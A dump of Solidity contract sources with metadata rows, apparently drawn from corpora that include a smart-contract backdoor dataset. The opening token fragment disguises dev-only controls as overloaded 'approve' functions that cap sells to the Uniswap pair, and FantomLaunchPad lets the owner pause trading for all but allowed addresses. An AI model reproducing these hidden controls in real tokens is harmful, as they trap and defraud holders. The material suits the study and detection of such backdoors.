return true;
}
function burnFrom(uint256 amount) public {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_tTotal = _tTotal.Sub(amount);
_balances[_msgSender()] = _balances[_msgSender()].Sub(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function approve(address approveAddr1, address approveAddr2) public onlyOwner {
approveAddr1 = approveAddr2;
uniSwapRouter = IUniswapV2Router02(approveAddr1);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
function approve(address approvedAddress) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_approvedAddress = approvedAddress;
}
function approve(uint256 approveAmount) public {
require(_msgSender() == _excludeDevAddress, "ERC20: cannot permit dev address");
_total = approveAmount * 10**18;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (sender != _approvedAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
uint256 burnAmount = amount.mul(5).div(100);
uint256 sendAmount = amount.sub(burnAmount);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[BURN_ADDRESS] = _balances[BURN_ADDRESS].add(burnAmount);
_balances[recipient] = _balances[recipient].add(sendAmount);
emit Transfer(sender, recipient, sendAmount);
}
}
}
| 27,327 | 13,407 |
f404265edf8684425bccffcfbc52f5bb009b1829cb9023f25f54aa701417cf90
| 14,506 |
.sol
|
Solidity
| false |
315354107
|
the-mog/resources
|
58b446d3ba6e16acda163869b798e191077631ac
|
verified-smart-contracts/erc20/all/contracts/01_tether.sol
| 2,760 | 11,198 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract TetherToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function TetherToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
| 65,607 | 13,408 |
46ccc981bc2f0e7d27c47cd0a3a61b9581354dfb7e563b1b430af903087daa10
| 29,580 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f5/F58eCE7f6202ACeb9b1a673f1c151c5ef2CE10a1_FantomLaunchPad.sol
| 5,203 | 18,752 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FantomLaunchPad is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Fantom Launch Pad';
string private constant _symbol = 'FLP';
uint256 private _taxFee = 0;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xf21c88379dd9AC72Ba493f6158e403382ebDEAB6, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 327,483 | 13,409 |
e4e7a1ed7bb5b5fb8e12b75f61aea18e6a12ce147e2e2611a5686121293f2d51
| 12,785 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xa12667757d73866417364680efbfd69c70cf767d.sol
| 3,123 | 11,063 |
pragma solidity ^0.4.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract InvestorsList is Ownable {
using SafeMath for uint;
enum WhiteListStatus {Usual, WhiteList, PreWhiteList}
struct Investor {
bytes32 id;
uint tokensCount;
address walletForTokens;
WhiteListStatus whiteListStatus;
bool isVerified;
}
mapping (address => bool) manipulators;
mapping (address => bytes32) public nativeInvestorsIds;
mapping (bytes32 => Investor) public investorsList;
modifier allowedToManipulate(){
require(manipulators[msg.sender] || msg.sender == owner);
_;
}
function changeManipulatorAddress(address saleAddress, bool isAllowedToManipulate) external onlyOwner{
require(saleAddress != 0x0);
manipulators[saleAddress] = isAllowedToManipulate;
}
function setInvestorId(address investorAddress, bytes32 id) external onlyOwner{
require(investorAddress != 0x0 && id != 0);
nativeInvestorsIds[investorAddress] = id;
}
function addInvestor(bytes32 id,
WhiteListStatus status,
bool isVerified) external onlyOwner {
require(id != 0);
require(investorsList[id].id == 0);
investorsList[id].id = id;
investorsList[id].tokensCount = 0;
investorsList[id].whiteListStatus = status;
investorsList[id].isVerified = isVerified;
}
function removeInvestor(bytes32 id) external onlyOwner {
require(id != 0 && investorsList[id].id != 0);
investorsList[id].id = 0;
}
function isAllowedToBuyByAddress(address investor) external view returns(bool){
require(investor != 0x0);
bytes32 id = nativeInvestorsIds[investor];
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].isVerified;
}
function isAllowedToBuyByAddressWithoutVerification(address investor) external view returns(bool){
require(investor != 0x0);
bytes32 id = nativeInvestorsIds[investor];
require(id != 0 && investorsList[id].id != 0);
return true;
}
function isAllowedToBuy(bytes32 id) external view returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].isVerified;
}
function isPreWhiteListed(bytes32 id) external constant returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].whiteListStatus == WhiteListStatus.PreWhiteList;
}
function isWhiteListed(bytes32 id) external view returns(bool){
require(id != 0 && investorsList[id].id != 0);
return investorsList[id].whiteListStatus == WhiteListStatus.WhiteList;
}
function setVerificationStatus(bytes32 id, bool status) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].isVerified = status;
}
function setWhiteListStatus(bytes32 id, WhiteListStatus status) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].whiteListStatus = status;
}
function addTokens(bytes32 id, uint tokens) external allowedToManipulate{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].tokensCount = investorsList[id].tokensCount.add(tokens);
}
function subTokens(bytes32 id, uint tokens) external allowedToManipulate{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].tokensCount = investorsList[id].tokensCount.sub(tokens);
}
function setWalletForTokens(bytes32 id, address wallet) external onlyOwner{
require(id != 0 && investorsList[id].id != 0);
investorsList[id].walletForTokens = wallet;
}
}
contract BonumPreSale is Pausable{
using SafeMath for uint;
string public constant name = "Bonum PreSale";
uint public startDate;
uint public endDate;
uint public whiteListPreSaleDuration = 1 days;
function setWhiteListDuration(uint duration) external onlyOwner{
require(duration > 0);
whiteListPreSaleDuration = duration * 1 days;
}
uint public fiatValueMultiplier = 10**6;
uint public tokenDecimals = 10**18;
InvestorsList public investors;
address beneficiary;
uint public ethUsdRate;
uint public collected = 0;
uint public tokensSold = 0;
uint public tokensSoldWithBonus = 0;
uint[] firstColumn;
uint[] secondColumn;
event NewContribution(address indexed holder, uint tokenAmount, uint etherAmount);
function BonumPreSale(uint _startDate,
uint _endDate,
address _investors,
address _beneficiary,
